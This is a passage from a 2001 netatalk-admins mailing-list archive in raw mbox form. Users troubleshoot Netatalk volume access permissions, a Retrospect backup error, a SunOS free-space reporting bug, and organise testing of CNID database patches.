    the Linux box on the Apple talk network.</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>I have followed 
    directions for</FONT> <A href=""><FONT face=Arial color=#0000ff 
    size=-1><U>www.anders.com</U></FONT></A><FONT face=Arial size=-1> and</FONT> 
    <A href=""><FONT face=Arial color=#0000ff 
    size=-1><U>www.linuxdocs.com</U></FONT></A><FONT face=Arial size=-1> and to 
    no avail.&nbsp; I start the service and I get no error 
    messages.&nbsp;</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>Can someone with 
    some experience with Netatalk help me out?</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1>Thanks in 
    advance,</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><B>Brian 
    Curtis</B></FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><I>Information 
    Technology Manager</I></FONT><BR><FONT face=Arial 
    size=-1><I>Red-Wire</I></FONT><BR><FONT face=Arial size=-1><I>Kelliher 
    Samets Volk</I></FONT><BR><FONT face=Arial 
  size=-1><I>802.862.8261</I></FONT></BLOCKQUOTE>
  <DIV><BR></DIV>
  <DIV>did you install from RPM? or compile? Netatalk is really simple to 
  install and get running. the netatalk.conf is, IMHO, the most widely used 
  config file, besides the AppleVolumes.default.</DIV>
  <DIV><BR></DIV>
  <DIV>I usually compile and compile with PAM, tcp-wrappers, openSSL(?). How do 
  you have it configured now?</DIV>
  <DIV><BR></DIV>
  <DIV>-Wes</DIV>
  <DIV>-- <BR><BR>-Wes 
  Yates<BR>gmac63@carolina.rr.com<BR>wesyates.homeip.net<BR><BR><BR>The opinions 
  stated in this email are not necessarily those of the League of Anti-Semitic 
  Jews.</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C179B7.832AC980--

From netatalk.administrators-errors@umich.edu  Mon Dec  3 12:14:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25487
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 12:14:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA15371
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 12:14:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA15350
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 12:14:06 -0500 (EST)
Received: from morpheus.webprojkt.com (morpheus.webprojkt.com [209.61.155.148])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA15330
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 12:14:05 -0500 (EST)
Received: (qmail 17469 invoked from network); 3 Dec 2001 17:14:05 -0000
Received: from 66-188-101-130.mad.wi.charter.com (HELO ?10.0.0.103?) (66.188.101.130)
  by morpheus.webprojkt.com with SMTP; 3 Dec 2001 17:14:05 -0000
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Mon, 03 Dec 2001 11:14:03 -0600
Subject: unsubscribe
From: Brice Ruth <brice@webprojkt.com>
To: "'netatalk-admins-request@umich.edu'" <netatalk-admins@umich.edu>
Message-ID: <B8310EFB.9000%brice@webprojkt.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit




From netatalk.administrators-errors@umich.edu  Mon Dec  3 13:02:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA27478
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 13:02:29 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA26596
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 13:02:29 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA26572
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 13:02:27 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA26479
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 13:02:26 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <X6MKMWGR>; Mon, 3 Dec 2001 12:56:20 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D743D@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Log in problems
Date: Mon, 3 Dec 2001 12:56:14 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C17C23.CCB88970"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C17C23.CCB88970
Content-Type: text/plain

First of all, thanks to Ralph and Wes for helping a Newbie.  I finally got
the Linux box to show up on the network.  Now I would like to add users.
When I add a new user  and add them to a group I created macclients I can't
see any of the shared files.  I played around with permissions for the
folders and assigned them to macclients.  Also added 

/datafolders/creative "Creative Volume" options=noadouble,crlf
access=macclients

To the Apple Volumes.default file.  Any other suggestions?

Brian Curtis

Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


------_=_NextPart_001_01C17C23.CCB88970
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Log in problems</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">First of all, thanks to Ralph and Wes =
for helping a Newbie.&nbsp; I finally got the Linux box to show up on =
the network.&nbsp; Now I would like to add users.&nbsp; When I add a =
new user&nbsp; and add them to a group I created macclients I can't see =
any of the shared files.&nbsp; I played around with permissions for the =
folders and assigned them to macclients.&nbsp; Also added </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">/datafolders/creative &quot;Creative =
Volume&quot; options=3Dnoadouble,crlf access=3Dmacclients</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">To the Apple Volumes.default =
file.&nbsp; Any other suggestions?</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Brian Curtis</FONT></B>
</P>

<P><I><FONT SIZE=3D2 FACE=3D"Arial">Information Technology =
Manager</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Red-Wire</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Kelliher Samets Volk</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">802.862.8261</FONT></I>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C17C23.CCB88970--

From netatalk.administrators-errors@umich.edu  Mon Dec  3 14:07:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA00851
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 14:07:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA01674
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 14:07:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA01664
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 14:07:54 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA01634
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 14:07:53 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Mon, 3 Dec 2001 14:07:51 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b83178ec4386@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D743D@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D743D@ksvcmail.ksvc.com>
Date: Mon, 3 Dec 2001 14:07:50 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Log in problems
Content-Type: multipart/alternative; boundary="============_-1204716024==_ma============"

--============_-1204716024==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>First of all, thanks to Ralph and Wes for helping a Newbie.  I 
>finally got the Linux box to show up on the network.  Now I would 
>like to add users.  When I add a new user  and add them to a group I 
>created macclients I can't see any of the shared files.  I played 
>around with permissions for the folders and assigned them to 
>macclients.  Also added
>
>/datafolders/creative "Creative Volume" options=noadouble,crlf 
>access=macclients
>
>To the Apple Volumes.default file.  Any other suggestions?
>
>Brian Curtis
>
>Information Technology Manager
>Red-Wire
>Kelliher Samets Volk
>802.862.8261

Its not a _problem_ per se, but why the noadouble? It shouldn't hurt 
either way... Shouldn't you have used a ":" instead of the "="? Read 
the AppleVolumes.default file info. Where are you getting the 
"access=" from?

In my A/V.default, I have:

[snip]
:DEFAULT: options:nohex,usedots,noadouble # I use noadouble as well
~/
/home/path/to/a/dir "Some Accessible Directory"
/home/path/to/another/dir "Some Other Accessible Directory"
/home/path/to/data allow:appleserver,@users

under netatalk-1.5pre6, where "appleserver" is a system user and 
@users is the group its in.

Each system user can access their own homes via the ~/ option. 
Therefore, me, wyates, can get to my home with user and pass. "Login 
as Guest" can only see whats in the /path/to/guest dir and anything 
else _not_ controlled by ~/, a password, or allow:.

Above, "data", a system user, has owner access to /home/path/to/data, 
whereas appleserver in the same group has access as well. but he has 
group privilages.

Here is /home/path/to/data ls:

drwxrwxr-x  17 data     users        1024 Dec  3 07:43 data

If appleserver is in the _users_ group, he can rwx as can data, but 
not own data. appleserver can even access this directory with its own 
password (not data's). Works like a champ to me.

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

----------------------------------------------
The Woolsey-Swanson Rule

People would rather live with a problem they cannot solve than accept 
a problem they do not understand.

----------------------------------------------
--============_-1204716024==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: Log in problems</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1">First of
all, thanks to Ralph and Wes for helping a Newbie.&nbsp; I finally got
the Linux box to show up on the network.&nbsp; Now I would like to add
users.&nbsp; When I add a new user&nbsp; and add them to a group I
created macclients I can't see any of the shared files.&nbsp; I played
around with permissions for the folders and assigned them to
macclients.&nbsp; Also added</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">/datafolders/creative &quot;Creative Volume&quot;
options=noadouble,crlf access=macclients</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">To the Apple
Volumes.default file.&nbsp; Any other suggestions?</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><b>Brian
Curtis</b></font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1"><i>Information Technology Manager</i></font><br>
<font face="Arial" size="-1"><i>Red-Wire</i></font><br>
<font face="Arial" size="-1"><i>Kelliher Samets Volk</i></font><br>
<font face="Arial" size="-1"><i>802.862.8261</i></font></blockquote>
<div><br></div>
<div>Its not a _problem_ per se, but why the noadouble? It shouldn't
hurt either way... Shouldn't you have used a &quot;:&quot; instead of
the &quot;=&quot;? Read the AppleVolumes.default file info. Where are
you getting the &quot;access=&quot; from?</div>
<div><br></div>
<div>In my A/V.default, I have:</div>
<div><br></div>
<div>[snip]</div>
<div>:DEFAULT: options:nohex,usedots,noadouble # I use noadouble as
well</div>
<div>~/</div>
<div>/home/path/to/a/dir &quot;Some Accessible Directory&quot;</div>
<div>/home/path/to/another/dir &quot;Some Other Accessible
Directory&quot;</div>
<div>/home/path/to/data allow:appleserver,@users</div>
<div><br></div>
<div>under netatalk-1.5pre6, where &quot;appleserver&quot; is a system
user and @users is the group its in.</div>
<div><br></div>
<div>Each system user can access their own homes via the ~/ option.
Therefore, me, wyates, can get to my home with user and pass.
&quot;Login as Guest&quot; can only see whats in the /path/to/guest
dir and anything else _not_ controlled by ~/, a password, or
allow:.</div>
<div><br></div>
<div>Above, &quot;data&quot;, a system user, has owner access to
/home/path/to/data, whereas appleserver in the same group has access
as well. but he has group privilages.</div>
<div><br></div>
<div>Here is /home/path/to/data ls:</div>
<div><br></div>
<div>drwxrwxr-x&nbsp; 17 data&nbsp;&nbsp;&nbsp;&nbsp;
users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Dec&nbsp; 3 07:43
data</div>
<div><br></div>
<div>If appleserver is in the _users_ group, he can rwx as can data,
but not own data. appleserver can even access this directory with its
own password (not data's). Works like a champ to me.</div>
<div><br></div>
<div>-Wes</div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
----------------------------------------------<br>
The Woolsey-Swanson Rule<br>
<br>
People would rather live with a problem they cannot solve than accept
a problem they do not understand. <br>
<br>
----------------------------------------------</div>
</body>
</html>
--============_-1204716024==_ma============--

From netatalk.administrators-errors@umich.edu  Mon Dec  3 14:16:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA01460
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 14:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA05110
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 14:16:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA05090
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 14:16:24 -0500 (EST)
Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA05064
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 14:16:23 -0500 (EST)
Received: from [144.92.12.201] by mail5.doit.wisc.edu
          id NAA12862 (8.9.1/50); Mon, 3 Dec 2001 13:16:22 -0600
Date: Mon, 3 Dec 2001 13:17:41 -0600
Subject: Re: Log in problems
Content-Type: multipart/alternative; boundary=Apple-Mail-2--964909770
Mime-Version: 1.0 (Apple Message framework v472)
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
To: Brian Curtis <Bcurtis@KSVC.com>
From: Henry Zeringue <hzeringu@mmb.bme.wisc.edu>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D743D@ksvcmail.ksvc.com>
Message-Id: <6BD39048-E822-11D5-9448-003065F599A6@mmb.bme.wisc.edu>
X-Mailer: Apple Mail (2.472)


--Apple-Mail-2--964909770
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=ISO-8859-1;
	format=flowed


On Monday, December 3, 2001, at 11:56 AM, Brian Curtis wrote:

> First of all, thanks to Ralph and Wes for helping a Newbie.=A0 I =
finally=20
> got the Linux box to show up on the network.=A0 Now I would like to =
add=20
> users.=A0 When I add a new user=A0 and add them to a group I created=20=

> macclients I can't see any of the shared files.=A0 I played around =
with=20
> permissions for the folders and assigned them to macclients.=A0 Also =
added
>
> /datafolders/creative "Creative Volume" options=3Dnoadouble,crlf=20
> access=3Dmacclients

So you're able to login?
I believe the above line should read: access=3D@macclients
if "macclients" is a group.

>
> To the Apple Volumes.default file.=A0 Any other suggestions?
>
> Brian Curtis
>
> Information Technology Manager
> Red-Wire
> Kelliher Samets Volk
> 802.862.8261
>
>
--------------------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Mobile:	(608)239-2168
1410 Engineering Dr.	Office:	(608)262-8212
Madison, WI 53706-1608	Lab:	(608)262-3013
hzeringu@cae.wisc.edu	Fax:	(608)265-9239
---------------------------------------------------------
<File attached: Henry Zeringue.vcf>=

--Apple-Mail-2--964909770
Content-Type: multipart/mixed;
	boundary=Apple-Mail-3--964909769


--Apple-Mail-3--964909769
Content-Transfer-Encoding: quoted-printable
Content-Type: text/enriched;
	charset=ISO-8859-1


On Monday, December 3, 2001, at 11:56 AM, Brian Curtis wrote:


<excerpt><fontfamily><param>Arial</param><smaller>First of all, thanks
to Ralph and Wes for helping a Newbie.=A0 I finally got the Linux box to
show up on the network.=A0 Now I would like to add users.=A0 When I add =
a
new user=A0 and add them to a group I created macclients I can't see any
of the shared files.=A0 I played around with permissions for the folders
and assigned them to macclients.=A0 Also added</smaller></fontfamily>


<fontfamily><param>Arial</param><smaller>/datafolders/creative
"Creative Volume" options=3Dnoadouble,crlf access=3Dmacclients

=
</smaller></fontfamily></excerpt><fontfamily><param>Arial</param><smaller>=


So you're able to login?

I believe the above line should read: access=3D@macclients

if "macclients" is a group.


</smaller></fontfamily><excerpt>

<fontfamily><param>Arial</param><smaller>To the Apple Volumes.default
file.=A0 Any other suggestions?</smaller></fontfamily>


<bold><fontfamily><param>Arial</param><smaller>Brian =
Curtis</smaller></fontfamily></bold>


<italic><fontfamily><param>Arial</param><smaller>Information
Technology Manager

Red-Wire

Kelliher Samets Volk

802.862.8261</smaller></fontfamily></italic>



</excerpt>--------------------------------------------------------

Henry 'Gripp' Zeringue	Home:	(608)260-8098

Biomedical Engineering	Mobile:	(608)239-2168

1410 Engineering Dr.	Office:	(608)262-8212

Madison, WI 53706-1608	Lab:	(608)262-3013

hzeringu@cae.wisc.edu	Fax:	(608)265-9239

---------------------------------------------------------


--Apple-Mail-3--964909769
Content-Disposition: attachment;
	filename="Henry Zeringue.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Type: text/directory;
	x-unix-mode=0644;
	name="Henry Zeringue.vcf"

BEGIN:vCard=0D
VERSION:2.1=0D
FN:Henry Zeringue=0D
N:Zeringue;Henry=0D
ADD:Biomedical Engineering;1410 Engineering Dr.;Madison;WI;53706;=0D
TEL;WORK:608-262-3013=0D
TEL;CELL:608-239-2168=0D
EMAIL;INTERNET:hzeringu@cae.wisc.edu=0D
ORG:UW - Madison=0D
END:vCard=

--Apple-Mail-3--964909769--

--Apple-Mail-2--964909770--


From netatalk.administrators-errors@umich.edu  Mon Dec  3 16:36:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10275
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 16:36:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA22647
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 16:36:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA22636
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 16:36:13 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA22609
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 16:36:12 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Mon, 3 Dec 2001 16:36:13 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100300b8319f9e5f5b@[192.168.42.39]>
In-Reply-To: <p05100300b82d3539ed53@[192.168.195.62]>
References: <B82D286F.275%markus.kuschnik@t-online.de>
 <p05100300b82d3539ed53@[192.168.195.62]>
Date: Mon, 3 Dec 2001 16:36:08 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: error -42 with retrospect backup
Content-Type: text/plain; charset="us-ascii"

i've got a couple of netatalk shared volumes that i'm trying to backup using retrospect. since there isn't a linux retrospect client (yet. last i heard it was in beta) i have the netatalk volumes mounted on the server, which it backs up as normal.

when i do a normal backup (copying only files that have been modified or created since the last run) all is well, and the performance is actually pretty good. the problem occurs when i do a periodic full backup (copying all files).

retrospect stops the backup with an error -42, too many files open. these shared volumes don't have any more files on them than the local server volumes do, or any of the other client machines, so there's something odd going on with either the linux filesystem or the netatalk sharing.

any ideas on this, or any suggestions of better ways to backup the netatalk machine (preferably via retrospect) would be greatly appreciated.

From netatalk.administrators-errors@umich.edu  Mon Dec  3 16:46:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA11103
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 3 Dec 2001 16:46:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA27856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 3 Dec 2001 16:46:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA27851
	for netatalk.administrators-members@umich.edu; Mon, 3 Dec 2001 16:46:02 -0500 (EST)
Received: from dogbert.znet.com (dogbert.znet.com [207.167.79.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA27833
	for <netatalk-admins@umich.edu>; Mon, 3 Dec 2001 16:46:01 -0500 (EST)
Received: from linux.hq.znet.com (linux.hq.znet.com [207.167.79.25])
	by dogbert.znet.com (8.12.1/8.12.1/jjb-dogbert) with ESMTP id fB3Ljnr5006285;
	Mon, 3 Dec 2001 13:45:49 -0800 (PST)
X-Envelope-From: lelliott@znet.com
Received: (from lelliott@localhost)
	by linux.hq.znet.com (8.11.6/8.11.6) id fB3LjZK07443;
	Mon, 3 Dec 2001 13:45:35 -0800
Date: Mon, 3 Dec 2001 13:45:35 -0800
From: Lauren Elliott <lelliott@znet.com>
To: netatalk-admins@umich.edu
Subject: Free space calculation problems in netatalk-1.5pre8 ...
Message-ID: <20011203134535.A7316@znet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Operating-System: GNU/Linux 2.4.5
X-Uptime: 12:59pm  up 187 days,  2:14,  6 users,  load average: 0.00, 0.03, 0.06

Greetings netatalkers,

Our setup:

--Server running SunOS 5.8 (Sparc, ufs filesystem), Netatalk version
1.5pre8
--Client macs running mix of OS 9.0 and 9.2

Accessing the netatalk share (/var/fileserver on the Sun machine) works
great, but the Macs incorrectly report no space free on the device, (and
Mac OS reports that "An additional 214,000,000 GB must be thrown away"
when attempting to copy over a file to the share from the Mac Finder).

The partition the shared directory is on has plenty of space free, 

lelliott$ df -k
Filesystem            kbytes    used   avail capacity  Mounted on

...

/dev/dsk/c1t0d0s0    8749829 4520502 4141829    53%    /var

and I have found online some reports of aftd free space calculation
problems in, and patches for, netatalk 1.4 but nothing for this version.
Oddly I'm running the same netatalk version on a Linux i386 machine with
ext2 filesystem and the Macs report space correctly on that share, but
unfortunately I'm forced to use the SunOS machine for this server and so
need to get this working properly.  Anyone else running 1.5pre8 on Sparc
successfully and know what the problem is, and/or know of tips or
patches?  Happy to hack source if someone could point me in the right
direction.  

Eternally grateful if someone can help... Thanks!!

Regards,

-- 
Lauren Elliott
zNET Internet Services
http://www.znet.com

From netatalk.administrators-errors@umich.edu  Wed Dec  5 14:46:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17799
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Dec 2001 14:46:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA09304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Dec 2001 14:46:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA09291
	for netatalk.administrators-members@umich.edu; Wed, 5 Dec 2001 14:46:09 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA09232
	for <netatalk-admins@umich.edu>; Wed, 5 Dec 2001 14:46:07 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fB5Jixh86272;
	Wed, 5 Dec 2001 14:45:03 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Wed, 5 Dec 2001 14:44:59 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: Steve Freitas <sflist@ihonk.com>
cc: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] CNID Hacking Party: Request for volunteers!
In-Reply-To: <B82BBC7D.9DA6%sflist@ihonk.com>
Message-ID: <20011205144124.Q72859-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I am publishing tarballs of the code we'll be testing at
http://www.marcuscom.com/netatalk/cnid/netatalk-1.5cnid.tar.gz.  These
tarballs contain the latest build fixes from HEAD, so they should compile
on OpenBSD as well as the other platforms.  No autogen should be required.
We will configure with:

./configure --with-did=cnid [other configure options]

Then make (or gmake as the case may be).  I'll see everyone at 19:00 UTC
on IRC on Saturday.

Joe

On Thu, 29 Nov 2001, Steve Freitas wrote:

> Hi all,
>
> In an effort parallel to our path to getting a stable release out, we're
> trying to do some heavy testing on Joe Clarke's CNID patches. These patches
> create a persistent DID database, something that is necessary if aliases are
> going to work fully in Netatalk.
>
> Testing involves setting up some Mac clients to whack the server with a lot
> of file operations at once. Hopefully by the end of the day, nothing will
> crash. :-)
>
> We've tentatively set a date, Saturday, December 1st, at 11 am Pacific time,
> to meet on IRC and test CNID, with Joe providing patches based on testers'
> input.
>
> So we need testers. You can be a tester if you:
>
> 1. Can compile and run Netatalk on any platform, particularly Linux.
> 2. Have three or more Macs at your disposal with a fast LAN connection to
> the server.
> 3. Can D/L & run Helios Lantest (http://www.helios.de/products/LanTest.html)
> on those Macs.
>
> So please volunteer if you can. It'll be fun, and you'll help contribute a
> great feature to Netatalk.
>
> I'll email meeting and technical details on Friday to the lists.
>
> Thanks,
>
> Steve Freitas
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Thu Dec  6 17:17:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA25009
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 6 Dec 2001 17:17:20 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA26768
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 6 Dec 2001 17:17:20 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA26658
	for netatalk.administrators-members@umich.edu; Thu, 6 Dec 2001 17:17:15 -0500 (EST)
Received: from mailout05.sul.t-online.de (mailout05.sul.t-online.com [194.25.134.82])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA26595
